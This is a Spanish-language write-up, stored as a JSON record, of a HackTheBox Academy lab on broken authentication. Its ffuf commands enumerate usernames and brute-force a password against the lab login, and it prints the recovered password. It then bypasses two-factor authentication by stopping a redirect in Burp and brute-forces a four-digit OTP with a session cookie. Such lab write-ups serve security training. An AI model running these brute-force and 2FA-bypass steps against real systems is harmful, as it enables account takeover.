{"url":"https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520","machine":{"name":"Skills Assessment - Broken Authentication","slug":"skills-assessment-broken-authentication","platform":"HackTheBox","platform_slug":"hackthebox","difficulty":"facil","difficulty_label":"Fácil","operating_system":["Linux","Web"],"tags":["web","auth","bruteforce","enum"],"original_url":"https://academy.hackthebox.com/app/module/80/section/848"},"author":{"nickname":"juanluismm520","url":"https://www.writeups.es/u/juanluismm520","bio":"Drinking cherry chouffe"},"summary":null,"outline":[{"level":1,"title":"Enumeración","anchor":"https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520#enumeracion"},{"level":3,"title":"Si fallas el usuario y contraseña","anchor":"https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520#si-fallas-el-usuario-y-contrasena"},{"level":3,"title":"Si fallas el usuario","anchor":"https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520#si-fallas-el-usuario"},{"level":2,"title":"Enumeración de usuarios con fuerza bruta","anchor":"https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520#enumeracion-de-usuarios-con-fuerza-bruta"},{"level":2,"title":"Fuerza bruta","anchor":"https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520#fuerza-bruta"},{"level":1,"title":"Resolución","anchor":"https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520#resolucion"},{"level":3,"title":"Vía 1: Bypass 2fa","anchor":"https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520#via-1-bypass-2fa"},{"level":3,"title":"Vía 2: Fuerza bruta al código OTP","anchor":"https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520#via-2-fuerza-bruta-al-codigo-otp"}],"cves":[],"code_languages":["bash"],"stats":{"words":199,"reading_minutes":1,"votes":0},"content_markdown":"# Enumeración\nPrimero de todo, vemos un login. Parece ser que es posible que se pueda enumrar usuarios ya que si fallas el usuario te dice que el usuario no es conocido. Además para registrarnos nos da la política de contraseña:\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/200691ff-252c-44a6-a5fa-c30b3dee5b3d.webp)\n\n### Si fallas el usuario y contraseña\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/1314e30c-bf8b-4944-9a96-5cde303fb48e.webp)\n\n### Si fallas el usuario\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/95d749f9-c1ae-4782-9eac-77433fa9a3f9.webp)\n\n\n## Enumeración de usuarios con fuerza bruta\nUsamos el comando\n```bash\nffuf -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -u http://154.57.164.73:32634/login.php -X POST -H \"Content-Type: application/x-www-form-urlencoded\" -d \"username=FUZZ&password=Usuario52000\" -t 200 -fr \"Unknown username or password.\" -s\n```\nVeremos como nos aparecerá que existe el usuario `gladys`. Ahora debemos atacar la contraseña.\n\n## Fuerza bruta \nPara ello cogemos el `rockyou.txt` pero lo transformamos a la política de contraseña que tiene la empresa.\n```bash\ngrep -E '^[A-Za-z0-9]{12}$' /usr/share/wordlists/rockyou.txt \\\n  | grep -E '[0-9]' \\\n  | grep -E '[a-z]' \\\n  | grep -E '[A-Z]' \\\n  > rockyou-12-policy.txt\n```\n\nSe nos queda en `17048` lineas, mucho más asumible. \n\n```bash\nffuf -w ./rockyou-12-policy.txt -u http://154.57.164.73:32634/login.php -X POST -H \"Content-Type: application/x-www-form-urlencoded\" -d \"username=gladys&password=FUZZ\" -t 200 -fr \"Invalid credentials.\" -s\n```\n\n> [!SPOILER]\n> Pass: dWinaldasD13\n\n# Resolución\nUna vez entramos nos pide un código 2fa. \n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/0670c1a6-c0f0-4404-b20e-4ff82aa5f0b7.webp)\n\nAquí encuentro dos vías de resolverlo:\n### Vía 1: Bypass 2fa\nPara ello cogemos burp, activamos el interceptar peticiones y nos vamos a `/profile.php`. Puesto que con el navegador si vamos a `/profile.php` nos volverá a redirigir hacia el código 2fa, podemos simplemente parar la petición sin seguir la redirección y se nos muestra la flag:\n> [!SPOILER]\n> ![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/632d458d-653a-4616-ba96-45d00a9812af.webp)\n\n### Vía 2: Fuerza bruta al código OTP\nPara ello creamos el diccionario\n```bash\nseq -w 0 9999 > otp.txt\n```\n\nY ejecutamos `ffuf`\n```bash\nffuf -w ./otp.txt -u http://154.57.164.73:32634/2fa.php -X POST -H \"Content-Type: application/x-www-form-urlencoded\" -d \"otp=FUZZ\" -b \"PHPSESSID=7dagbmmkkc4lujqmu7b6b17o4b\" -t 400 -fr \"Invalid OTP.\" -s\n```\n\nUna vez nos salga en la consola el número encontrado, pulsamos F5 y habremos obtenido la flag. \n","published_at":"2026-09-14T16:10:24.412421+00:00","updated_at":"2026-09-24T11:02:45.419849+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de juanluismm520 publicado en writeups.es — https://www.writeups.es/writeups/hackthebox/skills-assessment-broken-authentication/juanluismm520"}